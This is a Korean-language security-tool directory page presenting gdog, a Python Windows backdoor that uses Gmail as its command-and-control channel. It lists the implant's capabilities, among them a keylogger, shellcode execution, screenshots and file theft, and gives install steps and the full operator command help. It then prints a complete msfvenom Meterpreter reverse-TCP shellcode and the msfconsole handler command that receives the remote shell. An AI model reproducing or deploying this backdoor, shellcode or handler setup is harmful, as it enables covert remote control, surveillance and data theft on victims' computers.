Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
gdog — Gmail을 C&C 서버로 사용하는 모든 기능을 갖춘 Windows 백도어 | Kitploit
도구/GitHubGitHub/maldevel/gdog
Payload GenerationShellcodePost-ExploitationCommand and ControlRemote Access Tool
GitHubmaldevel/gdog

gdog

Gmail을 C&C 서버로 사용하는 모든 기능을 갖춘 Windows 백도어

저장소 보기
5071659년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Gdog

Gmail을 명령 및 제어 서버로 사용하는 은밀한 Python 기반 Windows 백도어

이 프로젝트는 byt3bl33d3r의 gcat(https://github.com/byt3bl33d3r/gcat)에서 영감을 받았습니다.

요구 사항

  • Python 2.x
  • PyCrypto 모듈
  • WMI 모듈
  • Enum34 모듈
  • Netifaces 모듈

특징

  • 암호화된 전송 메시지 (AES) + SHA256 해싱
  • 시스템 정보/특성을 사용하여 고유 컴퓨터 ID 생성 (SHA256 해시)
  • 작업 ID는 무작위 SHA256 해시
  • 시스템 정보 검색
  • 지리적 위치 정보 검색 (도시, 국가, 위도, 경도 등)
  • 실행 중인 프로세스/시스템 서비스/시스템 사용자/장치(하드웨어) 검색
  • 클라이언트 목록 검색
  • 시스템 명령 실행
  • 클라이언트에서 파일 다운로드
  • 클라이언트에 파일 업로드
  • 셸코드 실행
  • 스크린샷 찍기
  • 클라이언트 화면 잠금
  • 키로거
  • 원격 컴퓨터 화면 잠금
  • 원격 컴퓨터 종료/다시 시작
  • 현재 사용자 로그오프
  • 웹에서 파일 다운로드
  • 웹사이트 방문
  • 사용자에게 메시지 상자 표시
  • 체크인 시간 변경 기능
  • 예측 가능성을 줄이기 위해 체크인 시간에 지터를 추가하는 기능

설정

작동하려면 다음이 필요합니다:

  • Gmail 계정 (전용 계정을 사용하세요! 개인 계정을 사용하지 마세요!)
  • 계정 보안 설정에서 '덜 안전한 앱 허용'을 켜십시오.
  • 계정 설정에서 IMAP도 활성화해야 할 수 있습니다.

다운로드/설치

  • https://sourceforge.net/projects/pywin32
  • git clone https://github.com/maldevel/gdog
  • pip install -r requirements.txt

내용

  • gdog.py 사용 가능한 클라이언트를 열거하고 명령을 내리는 데 사용되는 스크립트
  • client.py 실제 배포할 백도어

아마도 Pyinstaller를 사용하여 client.py를 실행 파일로 컴파일하고 싶을 것입니다.

참고: 32비트 Python 설치를 사용하여 client.py를 컴파일하는 것이 좋습니다.

사용법

root@kitploit:~
                      __
           ____ _____/ /___  ____ _
          / __ `/ __  / __ \/ __ `/
         / /_/ / /_/ / /_/ / /_/ /
         \__, /\__,_/\____/\__, /
        /____/            /____/

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD                Execute a system command
  -visitwebsite URL       Visit website
  -message TEXT TITLE     Show message to user
  -tasks                  Retrieve running processes
  -services               Retrieve system services
  -users                  Retrieve system users
  -devices                Retrieve devices(Hardware)
  -download PATH          Download a file from a clients system
  -download-fromurl URL
                          Download a file from the web
  -upload SRC DST         Upload a file to the clients system
  -exec-shellcode FILE    Execute supplied shellcode on a client
  -screenshot             Take a screenshot
  -lock-screen            Lock the clients screen
  -shutdown               Shutdown remote computer
  -restart                Restart remote computer
  -logoff                 Log off current remote user
  -force-checkin          Force a check in
  -start-keylogger        Start keylogger
  -stop-keylogger         Stop keylogger
  -email-checkin seconds  Seconds to wait before checking for new commands  
  -jitter percentage      Percentage of Jitter

셸코드 실행

root@kitploit:~
$ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=x.x.x.x -f python

No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11"
buf += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
buf += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
buf += "\x53\xff\xd5"

셸코드를 제외한 모든 것을 제거하고 파일에 저장합니다:

root@kitploit:~
$ cat shell.txt 
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5

콘솔 실행

root@kitploit:~
 ./msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST x.x.x.x; run"
도구 다운로드